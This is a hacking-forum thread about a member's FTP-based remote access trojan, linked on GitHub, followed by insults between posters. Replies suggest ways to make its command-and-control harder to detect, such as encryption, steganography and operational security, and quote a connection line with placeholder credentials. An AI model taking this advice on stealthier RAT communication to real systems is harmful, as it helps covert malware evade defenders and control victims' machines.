[TerminallyIll]

Looking at some posts here I noticed that people don't really consider FTP RATs a thing. Has a RAT that uses FTP as a C&C server never existed? I'm just curious because I made one to see why they aren't well respected, I would say it turned out pretty good. Tried making a typical one (one that uses TCP) but I had no way to test it over WAN.

Github UN (if you're interested in source)- Lukeres.
Link:[http]github.com[slash]Lukeres[slash]VC-RAT-FTP-Based-Remote-Access-Tool

Also, happy holidays, if you celebrate them.

[sh4moon]

Looking at some posts here I noticed that people don't really consider FTP RATs a thing. Has a RAT that uses FTP as a C&C server never existed? I'm just curious because I made one to see why they aren't well respected, I would say it turned out pretty good. Tried making a typical one (one that uses TCP) but I had no way to test it over WAN.

Github UN (if you're interested in source)- Lukeres.
Link:[http]github.com[slash]Lukeres[slash]VC-RAT-FTP-Based-Remote-Access-Tool

Also, happy holidays, if you celebrate them.

I would say it's because FTP isn't encrypted. You can easily see the traffic. Besides that, FTP isn't always allowed. Some firewalls (most likely corporate) will block FTP. You could try using SFTP instead. It's just FTP that's encrypted.

[Angelis]

Looking at some posts here I noticed that people don't really consider FTP RATs a thing. Has a RAT that uses FTP as a C&C server never existed? I'm just curious because I made one to see why they aren't well respected, I would say it turned out pretty good. Tried making a typical one (one that uses TCP) but I had no way to test it over WAN.

Github UN (if you're interested in source)- Lukeres.
Link:[http]github.com[slash]Lukeres[slash]VC-RAT-FTP-Based-Remote-Access-Tool

Also, happy holidays, if you celebrate them.

FTP Protocol simply does not offer the flexibility other protocols do...

[TerminallyIll]

I would say it's because FTP isn't encrypted. You can easily see the traffic. Besides that, FTP isn't always allowed. Some firewalls (most likely corporate) will block FTP. You could try using SFTP instead. It's just FTP that's encrypted.

Oh, that's makes sense. I will look into that,thanks.

---

FTP Protocol simply does not offer the flexibility other protocols do...

OK I see. Thanks for the answer.

[Vanilla]

Consider creating a connection string so that when setting up RAT, they do not have to modify a bunch of lines.

[sh4moon]

Oh, that's makes sense. I will look into that,thanks.

---

OK I see. Thanks for the answer.

Try out different transports. Maybe you could use stegonography to hide the data in pictures over FTP or something.

[Angelis]

Try out different transports. Maybe you could use stegonography to hide the data in pictures over FTP or something.

I mean over the years I have seen some interesting attempts, even using twitter as a communications platform, but really it boils down to an encrypted connection to the C&C to establish the proper needs we want now a days with Remote tools.

[CyberStrike]

Link : https://github.com/Lukeres/VC-RAT-FTP-Ba...ccess-Tool

Hardcoded credentials ouch, beyond that I think it's still a great contribution.

[Angelis]

Link : https://github.com/Lukeres/VC-RAT-FTP-Ba...ccess-Tool

Hardcoded credentials ouch, beyond that I think it's still a great contribution.

Man, you need extremely special circumstances to use this kinda round about method.

ON THIS NOTE

I reviewed your threads and posts, you seem to talk absolute shit to gain post count without offering true advice.

Prove me wrong.

[CyberStrike]

Man, you need extremely special circumstances to use this kinda round about method.

ON THIS NOTE

I reviewed your threads and posts,
Prove me wrong.

So you like hardcoded credentials?

[Angelis]

So you like hardcoded credentials?

So you like talking out of your ass?

Explain yourself or silence..... 🤐 😧 😅

[CyberStrike]

So you like talking out of your ass?

Explain yourself or silence..... 🤐  😧  😅

Did you look at the source? I'm guessing not.. or you just think payloads deserve no OPSEC and burning C2's and your infrastructure is common place.

Code

class RemoteControl:
    def connectToServer(self):
session=ftplib.FTP('files.ftpserver.com','yourftpsite','yourftppassword')

Edit: What prevents someone now from finding your FTP server then using your password to gather info and proceed to copy then remove any and or all files? That to me sounds like an gold mine of intelligence, but of course OPSEC is not a consideration.

Edit to the Edit: Because I don't know about your coding abilities I'll help you by posting a link

https://docs.python.org/2/library/ftplib.html

And yes I am quite sure that you will rant and rave tell me how I use google to figure things out but some people need links such as yourself, who couldn't denote hard coded creds will be used. Or denote the difference between Java and Javascript and what PowerShell processes and executes.

Can confirm this method works.

Java is not executed the same method as executable's in Windows environments. Thus bypassing many existing security checks.

Nice write up OP. Thanks for sharing.

I really don't like to be rude, so I haven't gone down that road.

[Angelis]

Did you look at the source? I'm guessing not.. or you just think payloads deserve no OPSEC and burning C2's and your infrastructure is common place.

Code

class RemoteControl:
   def connectToServer(self):
session=ftplib.FTP('files.ftpserver.com','yourftpsite','yourftppassword')

Edit: What prevents someone now from finding your FTP server then using your password to gather info and proceed to copy then remove any and or all files? That to me sounds like an gold mine of intelligence, but of course OPSEC is not a consideration.

Edit to the Edit: Because I don't know about your coding abilities I'll help you by posting a link

https://docs.python.org/2/library/ftplib.html

And yes I am quite sure that you will rant and rave tell me how I use google to figure things out but some people need links such as yourself, who couldn't denote hard coded creds will be used. Or denote the difference between Java and Javascript and what PowerShell processes and executes.


I really don't like to be rude, so I haven't gone down that road.

I can tell your going to annoy me around here.

[CyberStrike]

I can tell your going to annoy me around here.

Great there is an ignore option, use it.

Edit: Best of luck to you mate

[I.M.P]

I can tell your going to annoy me around here.

I can tell your just another ass around the block 🤣